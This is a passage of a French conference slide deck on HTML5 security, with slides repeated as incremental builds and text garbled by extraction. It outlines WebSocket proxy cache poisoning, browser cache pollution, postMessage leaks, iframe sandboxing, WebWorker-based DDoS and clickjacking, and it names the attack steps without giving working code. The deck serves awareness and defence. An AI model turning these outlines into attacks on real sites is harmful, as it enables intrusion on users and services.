• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 115: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 116: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 117: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 118: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 119: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 120: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 121: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 122: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

 GET  /  HTTP/1.1Host:  some.host.com  

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 123: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

 GET  /  HTTP/1.1Host:  some.host.com  

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 124: 2013 04-04-html5-security-v2

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

 GET  /  HTTP/1.1Host:  some.host.com  

HTTP/1.1  200  OkContenu  falsifié

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

Page 125: 2013 04-04-html5-security-v2

OffLine  Web  ApplicaBon

• Possibilité  d’avoir  des  a;aques  de  Type  APT  ?

• Possibilité  de  pollu>on  des  caches  de  navigateurs  (via  un  point  d’accès  malveillant);  meme  du  SSL

28

<!DOCTYPE HTML><html manifest="/cache.manifest"><body>

Je  crois  que  Nicolas  a  un  bon  avis  sur  les  APT....

Friday, April 5, 13

Page 126: 2013 04-04-html5-security-v2

WebMessage

• Possibilité  de  perte  de  données  sensibles  (si  envoyées  à  une  “mauvaise  iframe”)

29

<iframe  src=”outside.control”

postMessage() Page  du  site  “interne”

Friday, April 5, 13

Page 127: 2013 04-04-html5-security-v2

Bac  a  sable  des  iframes

• Par  défaut  si  rien  n’est  précisé  :  • Les  formulaires,  scripts  et  plug-­‐ins  sont  désac>vés.• Pas  d’accès  aux  éléments  stockés  en  local  (cookies,  sessionStorage,  localStorage).

• Pas  d’AJAX  • Les  liens  ne  peuvent  cibler  d’autres  frames• Le  contenu  est  considéré  externe  (pas  d’accès  à  la  DOM)

30

<iframe sandbox="....."src="http://monsite.com/index.html"></iframe>

vous  saviez  que  les  bacs  a  sables  sont  remplacés  par  des  bacs  à  gravier  maintenant  ?  

Friday, April 5, 13

Page 128: 2013 04-04-html5-security-v2

Bac  a  sable  des  iframes

• Lever  les  restric>ons  :  • allow-­‐same-­‐origin  :  autorise  le  contenu  a  être  traité  comme  de  la  même  origine  est  pas  externe

• allow-­‐top-­‐naviga>on  :  l’iframe  peut  accéder  à  la  naviga>on  de  niveau  supérieur

• allow-­‐forms  :  autorise  les  formulaires• allow-­‐  scripts  :  les  scripts  (hors  popup)  sont  autorisés

31

Les  navigateurs  ne  supportent  pas  tous  ces  éléments  !

tout  cela  pour  l’hygiène  alors  qu’on  nous  fais  passer  du  cheval  pour  du  boeuf  !  

Friday, April 5, 13

Page 129: 2013 04-04-html5-security-v2

Autres  points  importants

• Les  longs  traitements  en  JavaScript  “plantaient”  les  navigateurs.  • Les  WebWorkers  perme;ent  de  lancer  des  JavaScript  en  tache  de  fond– N’accèdent  pas  à  la  DOM  – Accèdent  à  XHR,  objet  navigator,  cache,  lancement  d’autres  WebWorkers...

32

DDOS  avec  CORS  &  WebWorkers

Calculs  distribués  (cf  Ravan)

Bientot  la  fin

Friday, April 5, 13

Page 130: 2013 04-04-html5-security-v2

Autres  points  importants

• Les  longs  traitements  en  JavaScript  “plantaient”  les  navigateurs.  • Les  WebWorkers  perme;ent  de  lancer  des  JavaScript  en  tache  de  fond– N’accèdent  pas  à  la  DOM  – Accèdent  à  XHR,  objet  navigator,  cache,  lancement  d’autres  WebWorkers...

32

DDOS  avec  CORS  &  WebWorkers

Calculs  distribués  (cf  Ravan)

Bientot  la  fin

Friday, April 5, 13

Page 131: 2013 04-04-html5-security-v2

Autres  Points  importants

• CSS3  introduit  de  nouvelles  capacités  à  injecter  du  code  JavaScript

33

Nouvelles  capacités  au  ClickJacking

ou  facebook  jacking  ou  autre  jacking....

Friday, April 5, 13

Page 132: 2013 04-04-html5-security-v2

Conclusion

• Plein  de  nouvelles  API  interessantes  pour  le  développeur(et  les  agences  Webs)

34

L’ouverture  se  fait  au  détriment  de  la  sécurité....(même  si  un  accent  supplémentaire  a  été  mis  dessus  dans  les  Specs)

Une  surface  d’a;aque  accrue  (CORS,  Web/Storage|Socket|Workers)

La  belle  part  au  JavaScript  (qui  peut  s’executer  sans  consentement  u>lisateur)

non,  non,  je  ne  fais  pas  que  >rer  sur  les  agences  Web...

Friday, April 5, 13

Page 133: 2013 04-04-html5-security-v2

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

Page 134: 2013 04-04-html5-security-v2

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

Page 135: 2013 04-04-html5-security-v2

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

Page 136: 2013 04-04-html5-security-v2

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

Page 137: 2013 04-04-html5-security-v2

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

Page 138: 2013 04-04-html5-security-v2

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

Page 139: 2013 04-04-html5-security-v2

ww.html5test.com

35étonnant  le  cas  du  Blackberry  non  ?  

Friday, April 5, 13

Page 140: 2013 04-04-html5-security-v2

Quelques  Sites  a  suivre..

• h;p://www.w3.org/TR/html5/  :  le  standard• h;ps://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet  

• h;p://www.caniuse.com  :  liste  des  différents  supports  d’API  par  navigateur

• h;p://www.html5test.com  :  le  support  de  VOTRE  navigateur  vis  a  vis  de  la  norme.

• h;p://html5readiness.com/  :  L’état  du  support  des  APis  par  les  navigateurs

36Bon  ben  voila,  c’est  la  fin,  merci  d’être  encore  présent  ;)

Friday, April 5, 13

Page 142: 2013 04-04-html5-security-v2

@SPoint

sebas>[email protected]

Il n'y a qu'une façon d'échouer, c'est d'abandonner avant d'avoir réussi [Olivier Lockert]

Friday, April 5, 13